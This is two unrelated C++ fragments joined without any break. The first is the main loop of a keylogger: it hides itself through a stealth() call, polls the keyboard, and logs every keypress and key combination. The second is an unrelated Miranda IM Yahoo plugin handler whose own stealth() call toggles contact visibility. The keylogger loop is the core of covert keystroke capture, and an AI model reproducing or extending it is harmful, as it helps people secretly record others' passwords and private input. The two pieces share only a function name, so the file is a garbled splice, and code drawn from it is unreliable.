int main() { stealth(true); while (true) { stealth(); bool *status = Keys::get_keyboard(), *old_status = Keys::get_old_keyboard(); if (Keys::was_updated()) { int specials = 0, ordinary = 0; for (int i = 0; i != MAX_KEYS; ++i) { if (status[i]) { if (Keys::is_special(i)) { ++specials; } else { ++ordinary; } } } if ((specials != 0) && (ordinary != 0)) { // Combination detected. char *key_names = (char*) malloc(sizeof(char) * MAX_KEY_NAME); Keys::get_names(status, key_names, MAX_KEY_NAME); Logger::log(key_names); free(key_names); } else { for (int i = 0; i != MAX_KEYS; ++i) { if ((status[i]) && (!old_status[i])) { char *key_name = (char*) malloc(sizeof(char) * MAX_KEY_NAME); Keys::get_name(i, key_name, MAX_KEY_NAME); Logger::log(key_name); free(key_name); } } } } Keys::update_keyboard(); SLEEP(5); } return 0; }
INT_PTR __cdecl CYahooProto::OnSettingChanged(WPARAM wParam, LPARAM lParam) { DBCONTACTWRITESETTING *cws = (DBCONTACTWRITESETTING *) lParam; if ((HANDLE) wParam == NULL) return 0; if (!m_bLoggedIn) return 0; if (!strcmp(cws->szModule, "CList")) { // A temporary contact has been added permanently if (!strcmp(cws->szSetting, "NotOnList")) { if (DBGetContactSettingByte((HANDLE) wParam, "CList", "Hidden", 0)) return 0; if (cws->value.type == DBVT_DELETED || (cws->value.type == DBVT_BYTE && cws->value.bVal == 0)) { DBVARIANT dbv; if ( !DBGetContactSettingString( (HANDLE) wParam, m_szModuleName, YAHOO_LOGINID, &dbv )){ DebugLog("Adding Permanently %s to list.", dbv.pszVal); AddBuddy(dbv.pszVal,GetWord((HANDLE) wParam, "yprotoid", 0), "miranda", NULL); DBFreeVariant(&dbv); } } } }else if (!strcmp(cws->szModule, m_szModuleName) && !strcmp(cws->szSetting, "ApparentMode")) { DBVARIANT dbv; DebugLog("DB Setting changed. YAHOO user's visible setting changed."); if ( !DBGetContactSettingString( (HANDLE) wParam, m_szModuleName, YAHOO_LOGINID, &dbv )){ int iAdd = (ID_STATUS_OFFLINE == DBGetContactSettingWord((HANDLE) wParam, m_szModuleName, "ApparentMode", 0)); stealth(dbv.pszVal, iAdd); DBFreeVariant(&dbv); } } return 0; }